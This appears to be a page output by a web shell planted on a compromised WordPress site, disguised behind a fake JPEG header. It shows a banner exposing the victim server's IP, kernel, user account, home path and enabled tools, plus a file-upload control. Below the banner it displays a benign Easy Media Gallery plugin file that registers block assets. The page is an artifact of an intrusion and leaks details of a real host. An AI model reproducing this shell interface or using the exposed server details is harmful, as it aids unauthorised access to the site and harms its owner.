????JFIF??x?x????'
Server IP : 104.21.96.1 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/tempvsty/pontiacques.org/wp-content/plugins/easy-media-gallery/includes/emg-block/ |
Upload File : |
<?php /** * Blocks Initializer * * Enqueue CSS/JS of all the blocks. * * @since 1.0.0 * @package CGB */ // Exit if accessed directly. if ( ! defined( 'WPINC' ) ) { die; } if ( ! class_exists( 'Emg_Block' ) ) { class Emg_Block { public function __construct() { add_action( 'init', array( $this, 'register_block_action' ) ); } public function register_block_action() { if ( ! function_exists( 'register_block_type' ) ) { return; } $script_slug = 'emg-block-js'; $style_slug = 'emg-block-style-css'; $editor_style_slug = 'emg-block-editor-css'; wp_register_script( $script_slug, // Handle. plugin_dir_url( __FILE__ ).'/dist/blocks.build.js', // Block.build.js: We register the block here. Built with Webpack. array( 'wp-blocks', 'wp-i18n', 'wp-element' ) // Dependencies, defined above. ); // Styles. wp_register_style( $style_slug, // Handle. plugin_dir_url( __FILE__ ).'/dist/blocks.style.build.css', // Block style CSS. array( 'wp-blocks' ) // Dependency to include the CSS after it. ); wp_register_style( $editor_style_slug, // Handle. plugin_dir_url( __FILE__ ).'/dist/blocks.editor.build.css', // Block editor CSS. array( 'wp-edit-blocks' ) // Dependency to include the CSS after it. ); register_block_type( 'emg-gallery/block', // Block name with namespace array( 'style' => $style_slug, // General block style slug 'editor_style' => $editor_style_slug, // Editor block style slug 'editor_script' => $script_slug, // The block script slug 'attributes' => array( 'data' => array( 'type' => 'string', 'default' => '', ), ), 'render_callback' => array( $this, 'render_callback' ), ) ); } public function render_callback( $attributes, $content = null, $context = 'frontend' ) { if ( ! is_admin() && isset( $attributes['data'] ) && $attributes['data'] ) { $data = $attributes['data']; $tempData = html_entity_decode( $data ); $cleanData = json_decode( $tempData ); if ( isset( $cleanData->native_shortcode ) ) { return $cleanData->native_shortcode; } } return ''; } } new Emg_Block(); }